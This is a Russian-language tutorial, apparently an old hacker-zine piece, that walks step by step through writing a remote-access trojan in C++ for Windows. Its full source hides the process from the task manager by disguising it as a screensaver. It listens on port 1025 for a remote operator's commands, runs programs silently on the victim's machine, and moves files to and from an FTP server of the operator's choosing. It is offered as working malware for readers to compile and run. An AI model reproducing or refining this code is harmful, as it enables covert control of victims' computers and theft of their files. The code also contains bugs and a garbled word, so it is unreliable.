Сегодня мы будем создавать троян, на С++. Для компиляции нам понадобится Visual C++ 6 или 5. Какие пимпы тыкать объяснять не буду, сам не маленький. Скажу только что надо создать не Win32 Application, a simple Win32 Application.
Теперь подумаем, что этот трой должен делать?
Для уменьшения размера оставим самые основные функции:
1. Скачивать файлы с FTP-сервера.
2. Закачивать файлы на FTP-сервер.
3. Запускать проги, двумя способами: скрытный и открытый.
Ну вот и все, теперь приступим к кодингу.
Для начала в меню Build - Set Active Configuration - Win32 Release. Теперь тыкай в Project - Settings - Link. Там в поле Object /library module добавь вот это: wininet.lib wsock32.lib. Не добавишь, компилироваться не будет!
Так, самая легкая часть работы закончена. Теперь приступим непосредственно к кодингу. В окне кода стери все и напиши вот это:
#include "stdafx.h"
#include "stdio.h"
#include "winsock.h"
#include "wininet.h"
Заголовочные файлы мы подключили, теперь будем писать объявление переменных (следи за комментариями):
/* нужно чтобы стартануть winsock*/
WSADATA wsa;
/* собственно первый сокет*/
SOCKET s;
/* переменные, в которых будут храниться временные данные */
char* temp;
char* temp2;
char* temp3;
/* заголовки WinInet сеансов */
HINTERNET inet;
HINTERNET inet2;
/* буффер для хранения поступивших команд */
char buff[1];
/* переменная, по которой мы будем определять,
соединены мы с FTP сервером или нет */
bool connected;
/* сокет, через который будет идти общение с клиентом*/
SOCKET s1;
/* эти структуры необходимы для нескольких системных вызовов WinSock */
SOCKADDR_IN from;
SOCKADDR_IN sin;
С переменными пока все. Теперь будем писать основу проги, так что добавь к коду вот это:
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
}
Прежде чем будем писать остальное, надо бы подумать о защите от любопытных глаз или CTRL-ALT-DEL. Это делается функцией RegisterServiceProcess из библиотеки kernel32.dll. Эта функция зарегистрирует нашу прогу как безобидный скринсейвер. Добавь к коду это:
/* поключаем библиотеку */
HINSTANCE hLib = LoadLibrary("kernel32.dll");
/* объявляем прототип функции */
int (*RegisterServiceProcess)(DWORD dwProcessID, DWORD state);
/* получаем адрес этой функции */
(FARPROC &)RegisterServiceProcess = GetProcAddress(hLib, "RegisterServiceProcess");
/* и делаем вызов этой функции */
_asm {
push 0
push 1
call RegisterServiceProcess
}
Так, теперь приступим к остальному, а именно к работе с сокетами:
/* стартуем Winsock 1.1 */
WSAStartup(0x0101, &wsa);
/* инициализируем сокет */
s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/* указываем семейство протоколов */
sin.sin_family = AF_INET;
/* порт для работы */
sin.sin_port = htons(1025);
/* указываем адрес сети */
sin.sin_addr.s_addr = INADDR_ANY;
/* определяем локальный канал для связи с сетью */
bind( s, (LPSOCKADDR)&sin, sizeof(sin) );
/* слушаем порт */
listen( s, SOMAXCONN);
/* определяем размер структуры с информацией о клиенте */
int fromlen=sizeof(from);
/* принимаем клиента но уже на другой сокет */
s1 = accept(s,(struct sockaddr*)&from, &fromlen);
/* открыть сеанс работы с Инетом */
inet = InternetOpen("Yohoho FTP Trojan",INTERNET_OPEN_TYPE_DIRECT, "", "", 0);
Ну чтож, соединение мы установили, сейчас будем команды принимать:
while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR)
{
}
Для особо одаренных объясняю: пока клиент не отключится принимаем команды в переменную buff. Ну а теперь собственно команды:
while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR)
{
/* Команда на аплоад. */
if(buff[0] == 'a') {
/* получаем имя приложения */
recv(s1, temp, 32, 0);
if(connected)
{
if(!FtpPutFile(inet2, temp,temp, 0,0)) { send(s1, "Upload Failed", 13, 0); }
else { send(s1, "Upload Completed", 16,0); }
}
else { send(s1, "Hey! You are not connected to FTP server!", 41, 0); }
/* Команда на скачивание */
if(buff[0] == 'b')
{
/* получаем имя фала */
recv(s1,temp, 32, 0);
if(connected)
{
if(!FtpGetFile(inet2,temp,temp,0,true,FTP_TRANSFER_TYPE_BINARY, 0))
{ send(s1, "Download Failed", 15, 0); }
else { send(s1, "Download Completed",18,0); }
}
else { send(s1, "Hey! You are not connected to FTP server!", 41, 0); }
}
/* Выполняем скрытно приложение (без показа окна opncp`ll{) */
if(buff[0] == 'c')
{
/* получаем имя приложения */
recv(s1, temp, 255, 0);
WinExec(temp, SW_HIDE);
}
/* Тоже самое, но уже с окном */
if(buff[0] == 'd')
{
/* получаем имя приложения */
recv(s1, temp, 255, 0);
WinExec(temp, SW_SHOW);
}
if(buff[0] == 'e')
{
/* получаем урл сервера*/
recv(s1, temp, 255,0);
/* получаем логин */
recv(s1, temp2, 32,0);
/* получаем пассворд */
recv(s1, temp3, 32,0);
/* коннектимся */
inet2=InternetConnect(inet,temp,INTERNET_DEFAULT_FTP_PORT,temp2,temp3 ,
INTERNET_SERVICE_FTP, 0,0);
if (inet2) { connected = true; }
else { send(s1, "Connect Failed",14, 0); }
}
}
Вроде и все.... СТОП! Вот конец проги:
closesocket(s);
closesocket(s1);
return 0;
Теперь все! Компилируй и запускай.... Если не получается -
подумай, как сделать чтобы пахало!